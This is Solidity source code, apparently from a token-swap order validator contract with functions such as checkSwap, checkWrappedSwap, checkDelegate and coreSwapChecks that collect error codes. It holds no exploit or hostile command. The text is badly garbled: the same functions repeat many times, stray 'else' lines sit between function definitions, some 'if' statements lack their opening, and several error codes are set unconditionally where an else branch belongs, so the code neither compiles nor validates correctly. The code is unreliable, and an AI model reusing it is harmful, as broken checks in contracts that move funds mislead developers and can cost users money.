errors[errorCount] = "SENDER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (order.sender.token != address(wethContract)) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
} else {
function checkWrappedSwap(
Types.Order calldata order,
address fromAddress,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (order.sender.wallet != fromAddress) {
errors[errorCount] = "MSG_SENDER_MUST_BE_ORDER_SENDER";
errorCount++;
}
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, wrapper)
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
if (order.sender.token == address(wethContract)) {
if ((order.sender.wallet).balance < order.sender.amount) {
errors[errorCount] = "SENDER_ETHER_LOW";
errorCount++;
}
}
if (order.signer.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.sender.wallet, wrapper);
if (allowance < order.signer.amount) {
errors[errorCount] = "SENDER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (order.sender.token != address(wethContract)) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
function checkWrappedSwap(
Types.Order calldata order,
address fromAddress,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (order.sender.wallet != fromAddress) {
errors[errorCount] = "MSG_SENDER_MUST_BE_ORDER_SENDER";
errorCount++;
}
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, wrapper)
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
if (order.sender.token == address(wethContract)) {
if ((order.sender.wallet).balance < order.sender.amount) {
errors[errorCount] = "SENDER_ETHER_LOW";
errorCount++;
}
}
if (order.signer.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.sender.wallet, wrapper);
if (allowance < order.signer.amount) {
errors[errorCount] = "SENDER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (order.sender.token != address(wethContract)) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
} else {
function checkSwap(Types.Order memory order)
public
view
returns (uint256, bytes32[] memory)
{
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
function checkSwap(Types.Order memory order)
public
view
returns (uint256, bytes32[] memory)
{
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
function checkSwap(Types.Order memory order)
public
view
returns (uint256, bytes32[] memory)
{
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
function checkSwap(Types.Order memory order)
public
view
returns (uint256, bytes32[] memory)
{
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
} else {
function checkSwap(Types.Order memory order)
public
view
returns (uint256, bytes32[] memory)
{
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
function checkSwap(Types.Order memory order)
public
view
returns (uint256, bytes32[] memory)
{
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
} else {
function checkSwap(Types.Order memory order)
public
view
returns (uint256, bytes32[] memory)
{
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
function checkSwap(Types.Order memory order)
public
view
returns (uint256, bytes32[] memory)
{
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
} else {
function checkSwap(Types.Order memory order)
public
view
returns (uint256, bytes32[] memory)
{
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
function checkSwap(Types.Order memory order)
public
view
returns (uint256, bytes32[] memory)
{
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
} else {
function checkDelegate(Types.Order memory order, IDelegate delegate)
public
view
returns (uint256, bytes32[] memory)
{
(uint256 errorCount, bytes32[] memory errors) = checkSwap(order);
(
uint256 delegateErrorCount,
bytes32[] memory delegateErrors
) = coreDelegateChecks(order, delegate);
if (delegateErrorCount > 0) {
for (uint256 i = 0; i < delegateErrorCount; i++) {
errors[i + errorCount] = delegateErrors[i];
}
errorCount += delegateErrorCount;
}
return (errorCount, errors);
}
function checkDelegate(Types.Order memory order, IDelegate delegate)
public
view
returns (uint256, bytes32[] memory)
{
(uint256 errorCount, bytes32[] memory errors) = checkSwap(order);
(
uint256 delegateErrorCount,
bytes32[] memory delegateErrors
) = coreDelegateChecks(order, delegate);
if (delegateErrorCount > 0) {
for (uint256 i = 0; i < delegateErrorCount; i++) {
errors[i + errorCount] = delegateErrors[i];
}
errorCount += delegateErrorCount;
}
return (errorCount, errors);
}
function checkDelegate(Types.Order memory order, IDelegate delegate)
public
view
returns (uint256, bytes32[] memory)
{
(uint256 errorCount, bytes32[] memory errors) = checkSwap(order);
(
uint256 delegateErrorCount,
bytes32[] memory delegateErrors
) = coreDelegateChecks(order, delegate);
if (delegateErrorCount > 0) {
for (uint256 i = 0; i < delegateErrorCount; i++) {
errors[i + errorCount] = delegateErrors[i];
}
errorCount += delegateErrorCount;
}
return (errorCount, errors);
}
function coreSwapChecks(Types.Order memory order)
public
view
returns (uint256, bytes32[] memory)
{
address swap = order.signature.validator;
bytes32 domainSeparator = Types.hashDomain(DOM_NAME, DOM_VERSION, swap);
bytes32[] memory errors = new bytes32[](MAX_ERROR_COUNT);
uint256 errorCount;
if (order.signer.wallet == order.sender.wallet) {
errors[errorCount] = "SELF_TRANSFER_INVALID";
errorCount++;
}
if (order.expiry < block.timestamp) {
errors[errorCount] = "ORDER_EXPIRED";
errorCount++;
}
if (swap != address(0x0)) {
ISwap swapContract = ISwap(swap);
if (
swapContract.signerNonceStatus(order.signer.wallet, order.nonce) != 0x00
) {
errors[errorCount] = "ORDER_TAKEN_OR_CANCELLED";
errorCount++;
}
if (order.nonce < swapContract.signerMinimumNonce(order.signer.wallet)) {
errors[errorCount] = "NONCE_TOO_LOW";
errorCount++;
}
if (order.signature.signatory != order.signer.wallet) {
if (
!swapContract.signerAuthorizations(
order.signer.wallet,
order.signature.signatory
)
) {
errors[errorCount] = "SIGNER_UNAUTHORIZED";
errorCount++;
}
}
errors[errorCount] = "VALIDATOR_INVALID";
errorCount++;
}
if (order.sender.kind == ERC20_INTERFACE_ID && order.sender.id != 0) {
errors[errorCount] = "SENDER_INVALID_ID";
errorCount++;
} else if (
(order.sender.kind == ERC721_INTERFACE_ID ||
order.sender.kind == CK_INTERFACE_ID) && order.sender.amount != 0
) {
errors[errorCount] = "SENDER_INVALID_AMOUNT";
errorCount++;
}
if (order.signer.kind == ERC20_INTERFACE_ID && order.signer.id != 0) {
errors[errorCount] = "SIGNER_INVALID_ID";
errorCount++;
} else if (
(order.signer.kind == ERC721_INTERFACE_ID ||
order.signer.kind == CK_INTERFACE_ID) && order.signer.amount != 0
) {
errors[errorCount] = "SIGNER_INVALID_AMOUNT";
errorCount++;
}
if (!isValid(order, domainSeparator)) {
errors[errorCount] = "SIGNATURE_INVALID";
errorCount++;
}
return (errorCount, errors);
}
function coreSwapChecks(Types.Order memory order)
public
view
returns (uint256, bytes32[] memory)
{
address swap = order.signature.validator;
bytes32 domainSeparator = Types.hashDomain(DOM_NAME, DOM_VERSION, swap);
bytes32[] memory errors = new bytes32[](MAX_ERROR_COUNT);
uint256 errorCount;
if (order.signer.wallet == order.sender.wallet) {
errors[errorCount] = "SELF_TRANSFER_INVALID";
errorCount++;
}
if (order.expiry < block.timestamp) {
errors[errorCount] = "ORDER_EXPIRED";
errorCount++;
}
if (swap != address(0x0)) {
ISwap swapContract = ISwap(swap);
if (
swapContract.signerNonceStatus(order.signer.wallet, order.nonce) != 0x00
) {
errors[errorCount] = "ORDER_TAKEN_OR_CANCELLED";
errorCount++;
}
if (order.nonce < swapContract.signerMinimumNonce(order.signer.wallet)) {
errors[errorCount] = "NONCE_TOO_LOW";
errorCount++;
}
if (order.signature.signatory != order.signer.wallet) {
if (
!swapContract.signerAuthorizations(
order.signer.wallet,
order.signature.signatory
)
) {
errors[errorCount] = "SIGNER_UNAUTHORIZED";
errorCount++;
}
}
errors[errorCount] = "VALIDATOR_INVALID";
errorCount++;
}
if (order.sender.kind == ERC20_INTERFACE_ID && order.sender.id != 0) {
errors[errorCount] = "SENDER_INVALID_ID";
errorCount++;
} else if (
(order.sender.kind == ERC721_INTERFACE_ID ||
order.sender.kind == CK_INTERFACE_ID) && order.sender.amount != 0
) {
errors[errorCount] = "SENDER_INVALID_AMOUNT";
errorCount++;
}
if (order.signer.kind == ERC20_INTERFACE_ID && order.signer.id != 0) {
errors[errorCount] = "SIGNER_INVALID_ID";
errorCount++;
} else if (
(order.signer.kind == ERC721_INTERFACE_ID ||
order.signer.kind == CK_INTERFACE_ID) && order.signer.amount != 0
) {
errors[errorCount] = "SIGNER_INVALID_AMOUNT";
errorCount++;
}
if (!isValid(order, domainSeparator)) {
errors[errorCount] = "SIGNATURE_INVALID";
errorCount++;
}
return (errorCount, errors);
}
function coreSwapChecks(Types.Order memory order)
public
view
returns (uint256, bytes32[] memory)
{
address swap = order.signature.validator;
bytes32 domainSeparator = Types.hashDomain(DOM_NAME, DOM_VERSION, swap);
bytes32[] memory errors = new bytes32[](MAX_ERROR_COUNT);
uint256 errorCount;
if (order.signer.wallet == order.sender.wallet) {
errors[errorCount] = "SELF_TRANSFER_INVALID";
errorCount++;
}
if (order.expiry < block.timestamp) {
errors[errorCount] = "ORDER_EXPIRED";
errorCount++;
}
if (swap != address(0x0)) {
ISwap swapContract = ISwap(swap);
if (
swapContract.signerNonceStatus(order.signer.wallet, order.nonce) != 0x00
) {
errors[errorCount] = "ORDER_TAKEN_OR_CANCELLED";
errorCount++;
}
if (order.nonce < swapContract.signerMinimumNonce(order.signer.wallet)) {
errors[errorCount] = "NONCE_TOO_LOW";
errorCount++;
}
if (order.signature.signatory != order.signer.wallet) {
if (
!swapContract.signerAuthorizations(
order.signer.wallet,
order.signature.signatory
)
) {
errors[errorCount] = "SIGNER_UNAUTHORIZED";
errorCount++;
}
}
errors[errorCount] = "VALIDATOR_INVALID";
errorCount++;
}
if (order.sender.kind == ERC20_INTERFACE_ID && order.sender.id != 0) {
errors[errorCount] = "SENDER_INVALID_ID";
errorCount++;
} else if (
(order.sender.kind == ERC721_INTERFACE_ID ||
order.sender.kind == CK_INTERFACE_ID) && order.sender.amount != 0
) {
errors[errorCount] = "SENDER_INVALID_AMOUNT";
errorCount++;
}
if (order.signer.kind == ERC20_INTERFACE_ID && order.signer.id != 0) {
errors[errorCount] = "SIGNER_INVALID_ID";
errorCount++;
} else if (
(order.signer.kind == ERC721_INTERFACE_ID ||
order.signer.kind == CK_INTERFACE_ID) && order.signer.amount != 0
) {
errors[errorCount] = "SIGNER_INVALID_AMOUNT";
errorCount++;
}
if (!isValid(order, domainSeparator)) {
errors[errorCount] = "SIGNATURE_INVALID";
errorCount++;
}
return (errorCount, errors);
}
function coreSwapChecks(Types.Order memory order)
public
view
returns (uint256, bytes32[] memory)
{
address swap = order.signature.validator;
bytes32 domainSeparator = Types.hashDomain(DOM_NAME, DOM_VERSION, swap);
bytes32[] memory errors = new bytes32[](MAX_ERROR_COUNT);
uint256 errorCount;
if (order.signer.wallet == order.sender.wallet) {
errors[errorCount] = "SELF_TRANSFER_INVALID";
errorCount++;
}
if (order.expiry < block.timestamp) {
errors[errorCount] = "ORDER_EXPIRED";
errorCount++;
}
if (swap != address(0x0)) {
ISwap swapContract = ISwap(swap);
if (
swapContract.signerNonceStatus(order.signer.wallet, order.nonce) != 0x00
) {
errors[errorCount] = "ORDER_TAKEN_OR_CANCELLED";
errorCount++;
}
if (order.nonce < swapContract.signerMinimumNonce(order.signer.wallet)) {
errors[errorCount] = "NONCE_TOO_LOW";
errorCount++;
}
if (order.signature.signatory != order.signer.wallet) {
if (
!swapContract.signerAuthorizations(
order.signer.wallet,
order.signature.signatory
)
) {
errors[errorCount] = "SIGNER_UNAUTHORIZED";
errorCount++;
}
}
errors[errorCount] = "VALIDATOR_INVALID";
errorCount++;
}
if (order.sender.kind == ERC20_INTERFACE_ID && order.sender.id != 0) {
errors[errorCount] = "SENDER_INVALID_ID";
errorCount++;
} else if (
(order.sender.kind == ERC721_INTERFACE_ID ||
order.sender.kind == CK_INTERFACE_ID) && order.sender.amount != 0
) {
errors[errorCount] = "SENDER_INVALID_AMOUNT";
errorCount++;
}
if (order.signer.kind == ERC20_INTERFACE_ID && order.signer.id != 0) {
errors[errorCount] = "SIGNER_INVALID_ID";
errorCount++;
} else if (
(order.signer.kind == ERC721_INTERFACE_ID ||
order.signer.kind == CK_INTERFACE_ID) && order.signer.amount != 0
) {
errors[errorCount] = "SIGNER_INVALID_AMOUNT";
errorCount++;
}
if (!isValid(order, domainSeparator)) {
errors[errorCount] = "SIGNATURE_INVALID";
errorCount++;
}
return (errorCount, errors);
}
function coreSwapChecks(Types.Order memory order)
public
view
returns (uint256, bytes32[] memory)
{
address swap = order.signature.validator;
bytes32 domainSeparator = Types.hashDomain(DOM_NAME, DOM_VERSION, swap);
bytes32[] memory errors = new bytes32[](MAX_ERROR_COUNT);
uint256 errorCount;
if (order.signer.wallet == order.sender.wallet) {
errors[errorCount] = "SELF_TRANSFER_INVALID";
errorCount++;
}
if (order.expiry < block.timestamp) {
errors[errorCount] = "ORDER_EXPIRED";
errorCount++;
}
if (swap != address(0x0)) {
ISwap swapContract = ISwap(swap);
if (
swapContract.signerNonceStatus(order.signer.wallet, order.nonce) != 0x00
) {
errors[errorCount] = "ORDER_TAKEN_OR_CANCELLED";
errorCount++;
}
if (order.nonce < swapContract.signerMinimumNonce(order.signer.wallet)) {
errors[errorCount] = "NONCE_TOO_LOW";
errorCount++;
}
if (order.signature.signatory != order.signer.wallet) {
if (
!swapContract.signerAuthorizations(
order.signer.wallet,
order.signature.signatory
)
) {
errors[errorCount] = "SIGNER_UNAUTHORIZED";
errorCount++;
}
}
errors[errorCount] = "VALIDATOR_INVALID";
errorCount++;
}
if (order.sender.kind == ERC20_INTERFACE_ID && order.sender.id != 0) {
errors[errorCount] = "SENDER_INVALID_ID";
errorCount++;
} else if (
(order.sender.kind == ERC721_INTERFACE_ID ||
order.sender.kind == CK_INTERFACE_ID) && order.sender.amount != 0
) {
errors[errorCount] = "SENDER_INVALID_AMOUNT";
errorCount++;
}
if (order.signer.kind == ERC20_INTERFACE_ID && order.signer.id != 0) {
errors[errorCount] = "SIGNER_INVALID_ID";
errorCount++;
} else if (
(order.signer.kind == ERC721_INTERFACE_ID ||
order.signer.kind == CK_INTERFACE_ID) && order.signer.amount != 0
) {
errors[errorCount] = "SIGNER_INVALID_AMOUNT";
errorCount++;
}
if (!isValid(order, domainSeparator)) {
errors[errorCount] = "SIGNATURE_INVALID";
errorCount++;
}
return (errorCount, errors);
}
function coreSwapChecks(Types.Order memory order)
public
view
returns (uint256, bytes32[] memory)
{
address swap = order.signature.validator;
bytes32 domainSeparator = Types.hashDomain(DOM_NAME, DOM_VERSION, swap);
bytes32[] memory errors = new bytes32[](MAX_ERROR_COUNT);
uint256 errorCount;
if (order.signer.wallet == order.sender.wallet) {
errors[errorCount] = "SELF_TRANSFER_INVALID";
errorCount++;
}
if (order.expiry < block.timestamp) {
errors[errorCount] = "ORDER_EXPIRED";
errorCount++;
}
if (swap != address(0x0)) {
ISwap swapContract = ISwap(swap);
if (
swapContract.signerNonceStatus(order.signer.wallet, order.nonce) != 0x00
) {
errors[errorCount] = "ORDER_TAKEN_OR_CANCELLED";
errorCount++;
}
if (order.nonce < swapContract.signerMinimumNonce(order.signer.wallet)) {
errors[errorCount] = "NONCE_TOO_LOW";
errorCount++;
}
if (order.signature.signatory != order.signer.wallet) {
if (
!swapContract.signerAuthorizations(
order.signer.wallet,
order.signature.signatory
)
) {
errors[errorCount] = "SIGNER_UNAUTHORIZED";
errorCount++;
}
}
